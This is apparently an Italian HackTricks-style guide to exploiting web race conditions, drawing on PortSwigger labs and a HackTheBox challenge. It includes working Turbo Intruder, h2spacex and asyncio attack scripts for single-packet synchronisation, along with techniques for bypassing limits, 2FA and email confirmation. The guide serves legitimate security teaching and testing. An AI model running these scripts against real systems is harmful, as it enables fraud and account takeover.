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Race Condition

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Per ottenere una comprensione profonda di questa tecnica controlla il rapporto originale in https://portswigger.net/research/smashing-the-state-machine

Migliorare gli Attacchi di Race Condition

L'ostacolo principale nel trarre vantaggio dalle race condition è assicurarsi che più richieste vengano gestite contemporaneamente, con pochissima differenza nei loro tempi di elaborazione—idealmente, meno di 1ms.

Qui puoi trovare alcune tecniche per Sincronizzare le Richieste:

Attacco a Pacchetto Singolo HTTP/2 vs. Sincronizzazione dell'Ultimo Byte HTTP/1.1

  • HTTP/2: Supporta l'invio di due richieste su una singola connessione TCP, riducendo l'impatto del jitter di rete. Tuttavia, a causa delle variazioni lato server, due richieste potrebbero non essere sufficienti per un exploit di race condition coerente.

  • Sincronizzazione dell'Ultimo Byte HTTP/1.1: Consente di pre-inviare la maggior parte delle parti di 20-30 richieste, trattenendo un piccolo frammento, che viene poi inviato insieme, ottenendo un arrivo simultaneo al server.

Preparazione per la Sincronizzazione dell'Ultimo Byte prevede:

  1. Inviare intestazioni e dati del corpo meno l'ultimo byte senza terminare il flusso.

  2. Pausare per 100ms dopo l'invio iniziale.

  3. Disabilitare TCP_NODELAY per utilizzare l'algoritmo di Nagle per raggruppare i frame finali.

  4. Eseguire un ping per riscaldare la connessione.

L'invio successivo dei frame trattenuti dovrebbe risultare nel loro arrivo in un singolo pacchetto, verificabile tramite Wireshark. Questo metodo non si applica ai file statici, che non sono tipicamente coinvolti negli attacchi RC.

Adattarsi all'Architettura del Server

Comprendere l'architettura del bersaglio è cruciale. I server front-end potrebbero instradare le richieste in modo diverso, influenzando i tempi. Il riscaldamento proattivo della connessione lato server, attraverso richieste insignificanti, potrebbe normalizzare i tempi di richiesta.

Gestire il Blocco Basato su Sessione

Framework come il gestore di sessioni di PHP serializzano le richieste per sessione, potenzialmente oscurando le vulnerabilità. Utilizzare token di sessione diversi per ogni richiesta può aggirare questo problema.

Superare i Limiti di Frequenza o Risorse

Se il riscaldamento della connessione è inefficace, attivare intenzionalmente i ritardi dei limiti di frequenza o risorse dei server web attraverso un'inondazione di richieste fittizie potrebbe facilitare l'attacco a pacchetto singolo inducendo un ritardo lato server favorevole alle race condition.

Esempi di Attacco

  • Tubo Intruder - attacco a pacchetto singolo HTTP2 (1 endpoint): Puoi inviare la richiesta a Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), puoi cambiare nella richiesta il valore che vuoi forzare per %s come in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s e poi selezionare il examples/race-single-packer-attack.py dal menu a discesa:

Se intendi inviare valori diversi, puoi modificare il codice con questo che utilizza una wordlist dagli appunti:

passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

Se il web non supporta HTTP2 (solo HTTP1.1) usa Engine.THREADED o Engine.BURP invece di Engine.BURP2.

  • Tubo Intruder - attacco a pacchetto singolo HTTP2 (Diversi endpoint): Nel caso tu debba inviare una richiesta a 1 endpoint e poi più richieste ad altri endpoint per attivare il RCE, puoi modificare lo script race-single-packet-attack.py con qualcosa come:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)

  • È disponibile anche in Repeater tramite la nuova opzione 'Invia gruppo in parallelo' in Burp Suite.

  • Per limit-overrun puoi semplicemente aggiungere la stessa richiesta 50 volte nel gruppo.

  • Per connection warming, puoi aggiungere all'inizio del gruppo alcune richieste a una parte non statica del server web.

  • Per delaying il processo tra l'elaborazione di una richiesta e un'altra in 2 passaggi, puoi aggiungere richieste extra tra entrambe le richieste.

  • Per un multi-endpoint RC puoi iniziare a inviare la richiesta che va allo stato nascosto e poi 50 richieste subito dopo che sfruttano lo stato nascosto.

  • Script python automatizzato: L'obiettivo di questo script è cambiare l'email di un utente mentre la verifica continua fino a quando il token di verifica della nuova email arriva all'ultima email (questo perché nel codice si vedeva un RC dove era possibile modificare un'email ma avere la verifica inviata a quella vecchia perché la variabile che indicava l'email era già popolata con la prima). Quando la parola "objetivo" viene trovata nelle email ricevute sappiamo di aver ricevuto il token di verifica dell'email cambiata e concludiamo l'attacco.

# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Migliorare l'Attacco a Pacchetto Singolo

Nella ricerca originale si spiega che questo attacco ha un limite di 1.500 byte. Tuttavia, in questo post, è stato spiegato come sia possibile estendere il limite di 1.500 byte dell'attacco a pacchetto singolo al limite di finestra di 65.535 B di TCP utilizzando la frammentazione a livello IP (dividendo un singolo pacchetto in più pacchetti IP) e inviandoli in ordine diverso, consentendo di prevenire il riassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms.

Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede che centinaia/migliaia di pacchetti arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa SETTINGS_MAX_CONCURRENT_STREAMS impostata su 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti. Questo significa fondamentalmente che Apache considererà solo 100 connessioni HTTP da una singola connessione TCP (limitando questo attacco RC).

Puoi trovare alcuni esempi utilizzando questa tecnica nel repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Prima della ricerca precedente, questi erano alcuni payload utilizzati che cercavano semplicemente di inviare i pacchetti il più velocemente possibile per causare un RC.

  • Repeater: Controlla gli esempi della sezione precedente.

  • Intruder: Invia la richiesta a Intruder, imposta il numero di thread su 30 all'interno del menu Opzioni e seleziona come payload Null payloads e genera 30.

  • Turbo Intruder

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

  • Python - asyncio

import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Questo è il tipo più basilare di race condition dove vulnerabilità che appaiono in luoghi che limitano il numero di volte in cui puoi eseguire un'azione. Come usare lo stesso codice sconto in un negozio web più volte. Un esempio molto semplice può essere trovato in questo report o in questo bug.

Ci sono molte variazioni di questo tipo di attacco, tra cui:

  • Riscuotere una carta regalo più volte

  • Valutare un prodotto più volte

  • Prelevare o trasferire contante in eccesso rispetto al saldo del tuo conto

  • Riutilizzare una singola soluzione CAPTCHA

  • Bypassare un limite di velocità anti-brute-force

Hidden substates

Sfruttare condizioni di gara complesse spesso comporta approfittare di brevi opportunità per interagire con stati macchina nascosti o non intenzionali. Ecco come affrontare questo:

  1. Identificare Potenziali Stati Nascosti

  • Inizia individuando endpoint che modificano o interagiscono con dati critici, come profili utente o processi di reimpostazione della password. Concentrati su:

  • Storage: Preferisci endpoint che manipolano dati persistenti lato server rispetto a quelli che gestiscono dati lato client.

  • Action: Cerca operazioni che alterano dati esistenti, che sono più propense a creare condizioni sfruttabili rispetto a quelle che aggiungono nuovi dati.

  • Keying: Attacchi di successo di solito coinvolgono operazioni chiave sullo stesso identificatore, ad es. nome utente o token di reimpostazione.

  1. Condurre Prove Iniziali

  • Testa gli endpoint identificati con attacchi di race condition, osservando eventuali deviazioni dai risultati attesi. Risposte inaspettate o cambiamenti nel comportamento dell'applicazione possono segnalare una vulnerabilità.

  1. Dimostrare la Vulnerabilità

  • Riduci l'attacco al numero minimo di richieste necessarie per sfruttare la vulnerabilità, spesso solo due. Questo passaggio potrebbe richiedere più tentativi o automazione a causa del tempismo preciso coinvolto.

Attacchi Sensibili al Tempo

La precisione nel temporizzare le richieste può rivelare vulnerabilità, specialmente quando metodi prevedibili come i timestamp sono utilizzati per i token di sicurezza. Ad esempio, generare token di reimpostazione della password basati su timestamp potrebbe consentire token identici per richieste simultanee.

Per Sfruttare:

  • Usa un tempismo preciso, come un attacco a pacchetto singolo, per effettuare richieste di reimpostazione della password simultanee. Token identici indicano una vulnerabilità.

Esempio:

  • Richiedi due token di reimpostazione della password contemporaneamente e confrontali. Token corrispondenti suggeriscono un difetto nella generazione dei token.

Controlla questo PortSwigger Lab per provare questo.

Casi studio sugli stati nascosti

Paga & aggiungi un articolo

Controlla questo PortSwigger Lab per vedere come pagare in un negozio e aggiungere un extra articolo che non dovrai pagare.

Conferma altre email

L'idea è di verificare un indirizzo email e cambiarlo in un altro allo stesso tempo per scoprire se la piattaforma verifica il nuovo indirizzo cambiato.

Cambia email in 2 indirizzi email basati su Cookie

Secondo questa ricerca Gitlab era vulnerabile a un takeover in questo modo perché potrebbe inviare il token di verifica email di un'email all'altra email.

Controlla questo PortSwigger Lab per provare questo.

Stati Nascosti del Database / Bypass di Conferma

Se 2 scritture diverse vengono utilizzate per aggiungere informazioni all'interno di un database, c'è una piccola porzione di tempo in cui solo i primi dati sono stati scritti all'interno del database. Ad esempio, quando si crea un utente, il nome utente e la password potrebbero essere scritti e poi il token per confermare l'account appena creato viene scritto. Questo significa che per un breve periodo il token per confermare un account è nullo.

Pertanto, registrare un account e inviare diverse richieste con un token vuoto (token= o token[]= o qualsiasi altra variazione) per confermare l'account immediatamente potrebbe consentire di confermare un account dove non controlli l'email.

Controlla questo PortSwigger Lab per provare questo.

Bypass 2FA

Il seguente pseudo-codice è vulnerabile a una race condition perché in un tempo molto breve il 2FA non è applicato mentre la sessione viene creata:

session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

OAuth2 persistenza eterna

Ci sono diversi fornitori OAUth. Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il client dovrà permettere alla tua applicazione di accedere ad alcuni dei loro dati all'interno del fornitore OAUth. Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "Applicazione <InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?"

Race Condition in authorization_code

Il problema si presenta quando lo accetti e invia automaticamente un authorization_code all'applicazione malevola. Poi, questa applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT (Authentication Token/Refresh Token) dal authorization_code per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per creare diversi account. Poi, se smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide.

Race Condition in Refresh Token

Una volta che hai ottenuto un RT valido, potresti provare a sfruttarlo per generare diversi AT/RT e anche se l'utente annulla i permessi per l'applicazione malevola di accedere ai suoi dati, diversi RT rimarranno comunque validi.

RC in WebSockets

In WS_RaceCondition_PoC puoi trovare un PoC in Java per inviare messaggi websocket in parallelo per sfruttare Race Conditions anche nei Web Sockets.

Riferimenti

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PreviousProxy / WAF Protections BypassNextRate Limit Bypass

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